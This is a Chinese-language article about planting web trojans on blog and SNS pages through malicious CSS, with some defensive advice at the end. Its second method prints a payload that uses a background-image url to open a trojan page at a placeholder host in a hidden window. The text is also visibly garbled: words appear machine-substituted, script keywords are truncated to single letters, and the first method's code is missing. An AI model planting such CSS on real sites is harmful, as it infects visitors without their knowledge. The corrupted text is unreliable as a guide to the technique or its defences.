<tfoot id="mikay"></tfoot>

　　
　　在Web1.0時(shí)代，使用E掛馬對(duì)于黑客而言，與其說是為了更好地實(shí)現(xiàn)木馬的躲藏，倒不如說是無可奈何的一個(gè)選擇。在簡(jiǎn)樸的HTML網(wǎng)頁(yè)和缺乏交互性的網(wǎng)站中，黑客可以利用的手段也非常有限，即使采取了復(fù)雜的偽裝，也很輕易被識(shí)破，還不如E來得直接和有效。但如今交互式的Web2.0網(wǎng)站越來越多，答應(yīng)用戶設(shè)置與修改的博客、SNS社區(qū)等紛紛泛起。這些互動(dòng)性非常強(qiáng)的社區(qū)和博客中，往往會(huì)提供豐碩的功能，并且會(huì)答應(yīng)用戶使用CSS層疊樣式表來對(duì)網(wǎng)站制作進(jìn)行自由的修改，這促使了CSS掛馬流行。

　　攻CSS掛馬方式較多，但主流的方式是通過有漏洞的博客或者SNS社交網(wǎng)站系統(tǒng)，將惡意的CSS代碼寫入支持CSS功能的個(gè)性化頁(yè)面中。下面我們以典型的CSS掛馬方式為例進(jìn)行講解。

　　方式1：

　　Body

　　“background-image”在CSS中的主要功能是用來定義頁(yè)面的背景圖片。這是最典型的CSS掛馬方式，這段惡意代碼主要是通過“background-image”配合t代碼讓網(wǎng)頁(yè)木馬靜靜地在用戶的電腦中運(yùn)行。

　　那如何將這段CSS惡意代碼掛到正常的網(wǎng)頁(yè)中去呢？黑客可以將天生好的網(wǎng)頁(yè)木馬放到自己指定的位置，然后將該段惡意代碼寫入掛馬網(wǎng)站的網(wǎng)頁(yè)中，或者掛馬網(wǎng)頁(yè)所調(diào)用的CSS文件中。

　　方式2：

　　Body

　　background-image： url(t：open(“http：//www.X.com/muma.htm”，”newwindow”，”border=”1″ Height=0， Width=0， top=1000， center=0， toolbar=no，menubar=no， scrollbars=no，resizable=no，location=no，status=no”))

　　方式1的CSS掛馬技術(shù)，在運(yùn)行時(shí)會(huì)泛起空缺的頁(yè)面，影響網(wǎng)頁(yè)訪問者正常的訪問，因此比較輕易發(fā)現(xiàn)。不外在方式2中的這段代碼，使用了t的Open開窗，通過新開一個(gè)躲藏的窗口，在后臺(tái)靜靜地運(yùn)行新窗口并激活訪問網(wǎng)頁(yè)溢出木馬頁(yè)面，不會(huì)影響訪問者觀看網(wǎng)頁(yè)內(nèi)容，因此更加隱蔽。

　　防網(wǎng)絡(luò)服務(wù)器被掛馬，通常會(huì)泛起防病毒軟件告警之類的信息。因?yàn)槁┒床粩喔拢瑨祚R種類時(shí)刻都在變換，通過客戶真?zhèn)€反映來發(fā)現(xiàn)服務(wù)器是否被掛馬往往疏漏較大。準(zhǔn)確的做法是常常檢查服務(wù)器日志，發(fā)現(xiàn)異常信息，常常檢查網(wǎng)站代碼，使用網(wǎng)頁(yè)木馬檢測(cè)系統(tǒng)，進(jìn)行排查。

　　目前除了使用以前的阻斷彈出窗口防范CSS掛馬之外，還可以在網(wǎng)頁(yè)中設(shè)置CSS過濾，將CSS過濾掉。不外假如你選擇過濾CSS的話，首先需要注意自己的相關(guān)網(wǎng)頁(yè)是否有CSS的內(nèi)容，因此我們?nèi)耘f首推用阻斷方式來防范CSS。阻斷代碼如下所示：

　　emiao1：expression(this.src=”about：blank”，this.outerHTML=”")；

　　將外域的木馬代碼的src重寫本錢地IE404錯(cuò)誤頁(yè)面的地址，這樣，外域的t代碼不會(huì)被下載。

<fieldset id="goyag"></fieldset>